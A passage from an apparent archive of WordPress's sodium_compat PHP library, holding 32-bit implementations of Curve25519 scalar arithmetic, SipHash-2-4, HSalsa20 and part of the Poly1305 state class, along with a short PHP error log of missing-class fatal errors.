        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0 = $s0->toInt32()->toInt();
        $S1 = $s1->toInt32()->toInt();
        $S2 = $s2->toInt32()->toInt();
        $S3 = $s3->toInt32()->toInt();
        $S4 = $s4->toInt32()->toInt();
        $S5 = $s5->toInt32()->toInt();
        $S6 = $s6->toInt32()->toInt();
        $S7 = $s7->toInt32()->toInt();
        $S8 = $s8->toInt32()->toInt();
        $S9 = $s9->toInt32()->toInt();
        $S10 = $s10->toInt32()->toInt();
        $S11 = $s11->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($S0 >> 0),
            (int) ($S0 >> 8),
            (int) (($S0 >> 16) | ($S1 << 5)),
            (int) ($S1 >> 3),
            (int) ($S1 >> 11),
            (int) (($S1 >> 19) | ($S2 << 2)),
            (int) ($S2 >> 6),
            (int) (($S2 >> 14) | ($S3 << 7)),
            (int) ($S3 >> 1),
            (int) ($S3 >> 9),
            (int) (($S3 >> 17) | ($S4 << 4)),
            (int) ($S4 >> 4),
            (int) ($S4 >> 12),
            (int) (($S4 >> 20) | ($S5 << 1)),
            (int) ($S5 >> 7),
            (int) (($S5 >> 15) | ($S6 << 6)),
            (int) ($S6 >> 2),
            (int) ($S6 >> 10),
            (int) (($S6 >> 18) | ($S7 << 3)),
            (int) ($S7 >> 5),
            (int) ($S7 >> 13),
            (int) ($S8 >> 0),
            (int) ($S8 >> 8),
            (int) (($S8 >> 16) | ($S9 << 5)),
            (int) ($S9 >> 3),
            (int) ($S9 >> 11),
            (int) (($S9 >> 19) | ($S10 << 2)),
            (int) ($S10 >> 6),
            (int) (($S10 >> 14) | ($S11 << 7)),
            (int) ($S11 >> 1),
            (int) ($S11 >> 9),
            (int) $S11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A)
    {
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }
        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }
}
Core32/SipHash.php000064400000014725151024233030007653 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core32_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit integers
 */
class ParagonIE_Sodium_Core32_SipHash extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int64> $v
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        $v[0] = $v[0]->addInt64($v[1]);

        # v1 = ROTL(v1, 13);
        $v[1] = $v[1]->rotateLeft(13);

        #  v1 ^= v0;
        $v[1] = $v[1]->xorInt64($v[0]);

        #  v0=ROTL(v0,32);
        $v[0] = $v[0]->rotateLeft(32);

        # v2 += v3;
        $v[2] = $v[2]->addInt64($v[3]);

        # v3=ROTL(v3,16);
        $v[3] = $v[3]->rotateLeft(16);

        #  v3 ^= v2;
        $v[3] = $v[3]->xorInt64($v[2]);

        # v0 += v3;
        $v[0] = $v[0]->addInt64($v[3]);

        # v3=ROTL(v3,21);
        $v[3] = $v[3]->rotateLeft(21);

        # v3 ^= v0;
        $v[3] = $v[3]->xorInt64($v[0]);

        # v2 += v1;
        $v[2] = $v[2]->addInt64($v[1]);

        # v1=ROTL(v1,17);
        $v[1] = $v[1]->rotateLeft(17);

        #  v1 ^= v2;
        $v[1] = $v[1]->xorInt64($v[2]);

        # v2=ROTL(v2,32)
        $v[2] = $v[2]->rotateLeft(32);

        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            new ParagonIE_Sodium_Core32_Int64(
                array(0x736f, 0x6d65, 0x7073, 0x6575)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x646f, 0x7261, 0x6e64, 0x6f6d)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x6c79, 0x6765, 0x6e65, 0x7261)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x7465, 0x6462, 0x7974, 0x6573)
            )
        );

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 0, 8)
            ),
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 8, 8)
            )
        );

        # b = ( ( u64 )inlen ) << 56;
        $b = new ParagonIE_Sodium_Core32_Int64(
            array(($inlen << 8) & 0xffff, 0, 0, 0)
        );

        # v3 ^= k1;
        $v[3] = $v[3]->xorInt64($k[1]);
        # v2 ^= k0;
        $v[2] = $v[2]->xorInt64($k[0]);
        # v1 ^= k1;
        $v[1] = $v[1]->xorInt64($k[1]);
        # v0 ^= k0;
        $v[0] = $v[0]->xorInt64($k[0]);

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($in, 0, 8)
            );

            # v3 ^= m;
            $v[3] = $v[3]->xorInt64($m);

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] = $v[0]->xorInt64($m);

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[6]) << 16
                    )
                );
            case 6:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[5]) << 8
                    )
                );
            case 5:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[4])
                    )
                );
            case 4:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[3]) << 24, 0
                    )
                );
            case 3:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[2]) << 16, 0
                    )
                );
            case 2:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[1]) << 8, 0
                    )
                );
            case 1:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[0]), 0
                    )
                );
            case 0:
                break;
        }

        # v3 ^= b;
        $v[3] = $v[3]->xorInt64($b);

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] = $v[0]->xorInt64($b);

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation
        # v2 ^= 0xff;
        $v[2]->limbs[3] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return $v[0]
            ->xorInt64($v[1])
            ->xorInt64($v[2])
            ->xorInt64($v[3])
            ->toReverseString();
    }
}
Core32/HSalsa20.php000064400000015435151024233030007630 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_HSalsa20
 */
abstract class ParagonIE_Sodium_Core32_HSalsa20 extends ParagonIE_Sodium_Core32_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $x0  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
            $x1  = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        return $x0->toReverseString() .
            $x5->toReverseString() .
            $x10->toReverseString() .
            $x15->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString();
    }
}
Core32/Poly1305/error_log000064400000003542151024233030010747 0ustar00[28-Oct-2025 06:53:16 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[01-Nov-2025 22:26:22 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[03-Nov-2025 21:30:55 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[03-Nov-2025 21:40:41 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[03-Nov-2025 21:49:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
Core32/Poly1305/State.php000064400000037135151024233030010630 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305_State', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305_State
 */
class ParagonIE_Sodium_Core32_Poly1305_State extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $r;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core32_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            // st->r[0] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4))
                ->setUnsignedInt(true)
                ->mask(0x3ffffff),
            // st->r[1] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4))
                ->setUnsignedInt(true)
                ->shiftRight(2)
                ->mask(0x3ffff03),
            // st->r[2] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4))
                ->setUnsignedInt(true)
                ->shiftRight(4)
                ->mask(0x3ffc0ff),
            // st->r[3] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4))
                ->setUnsignedInt(true)
                ->shiftRight(6)
                ->mask(0x3f03fff),
            // st->r[4] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4))
                ->setUnsignedInt(true)
                ->shiftRight(8)
                ->mask(0x00fffff)
        );

        /* h = 0 */
        $this->h = array(
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true)
        );

        /* save pad for later */
        $this->pad = array(
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4))
                ->setUnsignedInt(true)->toInt64(),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);

        /* handle leftover */
        if ($this->leftover) {
            /** @var int $want */
            $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - $this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run $this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes & ~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                /** @var string $block */
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT);
        }
        $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int) ($this->final ? 0 : 1 << 24)); /* 1 << 128 */
        $hibit->setUnsignedInt(true);
        $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true);
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $d0
         * @var ParagonIE_Sodium_Core32_Int64 $d1
         * @var ParagonIE_Sodium_Core32_Int64 $d2
         * @var ParagonIE_Sodium_Core32_Int64 $d3
         * @var ParagonIE_Sodium_Core32_Int64 $d4
         * @var ParagonIE_Sodium_Core32_Int64 $r0
         * @var ParagonIE_Sodium_Core32_Int64 $r1
         * @var ParagonIE_Sodium_Core32_Int64 $r2
         * @var ParagonIE_Sodium_Core32_Int64 $r3
         * @var ParagonIE_Sodium_Core32_Int64 $r4
         *
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $r0 = $this->r[0]->toInt64();
        $r1 = $this->r[1]->toInt64();
        $r2 = $this->r[2]->toInt64();
        $r3 = $this->r[3]->toInt64();
        $r4 = $this->r[4]->toInt64();

        $s1 = $r1->toInt64()->mulInt(5, 3);
        $s2 = $r2->toInt64()->mulInt(5, 3);
        $s3 = $r3->toInt64()->mulInt(5, 3);
        $s4 = $r4->toInt64()->mulInt(5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 = $h0->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4))
                    ->mask(0x3ffffff)
            )->toInt64();
            $h1 = $h1->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3, 4))
                    ->shiftRight(2)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h2 = $h2->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6, 4))
                    ->shiftRight(4)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h3 = $h3->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9, 4))
                    ->shiftRight(6)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h4 = $h4->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4))
